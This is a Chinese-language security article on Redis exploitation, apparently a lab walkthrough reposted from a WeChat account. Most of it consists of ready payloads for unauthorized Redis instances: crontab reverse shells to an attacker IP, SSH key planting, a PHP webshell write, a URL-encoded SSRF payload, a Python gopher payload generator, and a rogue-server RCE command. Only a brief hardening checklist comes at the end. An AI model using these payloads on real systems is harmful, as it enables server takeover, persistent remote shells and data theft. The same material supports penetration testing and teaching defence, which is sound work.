Redis攻防

  • A+
所属分类:安全文章
 简单来说 redis 就是一个数据库,不过与传统数据库不同的是 redis 的数据是存在内存中的,所以读写速度非常快,因此 redis 被广泛应用于缓存方向,redis默认端口是6379,由于redis被广泛使用,自然而然安全区域也备受挑战。

  • 计划任务反弹shell

  • redis写入公钥利用私钥登录ssh

  • redis往web物理路径写webshell

  • ssrf通内网redis反弹shell

  • 利用Redis主从复制REC

  • Redis安全配置






计划任务反弹shell







在redis以root权限运行时可以写crontab来执行命令反弹shell

利用条件:

  1. 允许异地登录

  2. redis存在未授权访问/弱口令

  3. 安全模式protected-mode处于关闭状态

利用方法:

通过未授权访问连接redis

Redis攻防


创建一个key xx,值为反弹shell语句,直接往当前用户的crontab里写入反弹shell,换行是必不可少的。set  xx   "n* * * * * bash -i >& /dev/tcp/192.168.17.141/7777 0>&1n"

Redis攻防

修改备份目录为linux计划任务目录config set dir /var/spool/cron/修改备份文件名为 rootconfig set dbfilename root以root身体执行计划任务save

Redis攻防

结果:succeed!

Redis攻防






redis写入公钥利用私钥登录ssh







如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

利用条件:

  1. 允许异地登录

  2. Redis服务使用ROOT账号启动

  3. Redis存在未授权访问/弱口令

  4. 安全模式protected-mode处于关闭状态

  5. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

利用方法:

本机生成密钥公钥

ssh-keygen -t rsa

Redis攻防

进入ssh路径,防止乱码导出我们的key

(echo -e "nn"; cat id_rsa.pub;echo -e "nn") > key.txt

Redis攻防

利用Redis导入公钥到key xx

--pass是登录密码无密码可不填cat key.txt | redis-cli -h 192.168.0.108 --pass pass123 -x set xx

到Redis查看key xx的值是否为我们导入的私钥

Redis攻防

后面同上

利用gopher协议反弹shellconfig set dir /root/.ssh设置文件名config set dbfilename authorized_keys保存Save

最后直接利用我们的ssh公钥连接服务器

Redis攻防

实验结果:succeed!






Redis往web物理路径写入webshell







redis权限不高时,并且服务器开着web服务,在redisweb目录写权限时,可以尝试往web路径写webshell
同样设置备份目录位置> config set dir /var/www/html/设置备份文件名> config set dbfilename shell.php设置key x值> set x "<?php phpinfo();?>"保存> save





ssrf通内网redis反弹shell







利用ssrf漏洞探测内网服务器的端口开放情况

探测本地的7001端口开放状态(当前开放状态)

Redis攻防

本地的7001端口关闭状态

Redis攻防

发现内网redis服务

Redis攻防

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

Payloadhttp://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.17.141%2F7777%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

Redis攻防

实验结果:succeed!

Redis攻防


利用gopher协议反弹shell

/*gopher协议反弹shell利用脚本*/import urllibprotocol="gopher://"ip="172.18.0.2"port="6379"reverse_ip="192.168.17.141"reverse_port="7777"cron="nnnn*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1nnnn"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"passwd=""cmd=["flushall",   "set 1 {}".format(cron.replace(" ","${IFS}")),   "config set dir {}".format(path),   "config set dbfilename {}".format(filename),   "save"   ]if passwd:  cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):  CRLF="rn"  redis_arr = arr.split(" ")  cmd=""  cmd+="*"+str(len(redis_arr))  for x in redis_arr:    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")  cmd+=CRLF  return cmd
if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

Redis攻防






利用Redis主从复制REC








在Reids4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
新增模块(主从模式),主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。

利用条件:

  1. Redis存在未授权访问/弱口令

  2. 安全模式protected-mode处于关闭状态

  3. 允许异地登录

利用方法:

目标redis ip(从机):192.168.17.138

攻击机(主机):192.168.17.130

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

python3 redis-rogue-server.py --rhost 192.168.17.138 --lhost 192.168.17.130

Redis攻防

实验结果:succeed!

Redis攻防







Redis安全配置








  1. 使用普通账号启动Redis

  2. 在Redis配置文件设置只允许本地访问

  3. 在Redis配置文件开启保护模式protected-mode 开启 (默认开启)

  4. 在Redis配置文件设置redis密码requirepass

  5. 在Redis配置文件更改Redis默认端口






本文始发于微信公众号(Khan安全团队):Redis攻防

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: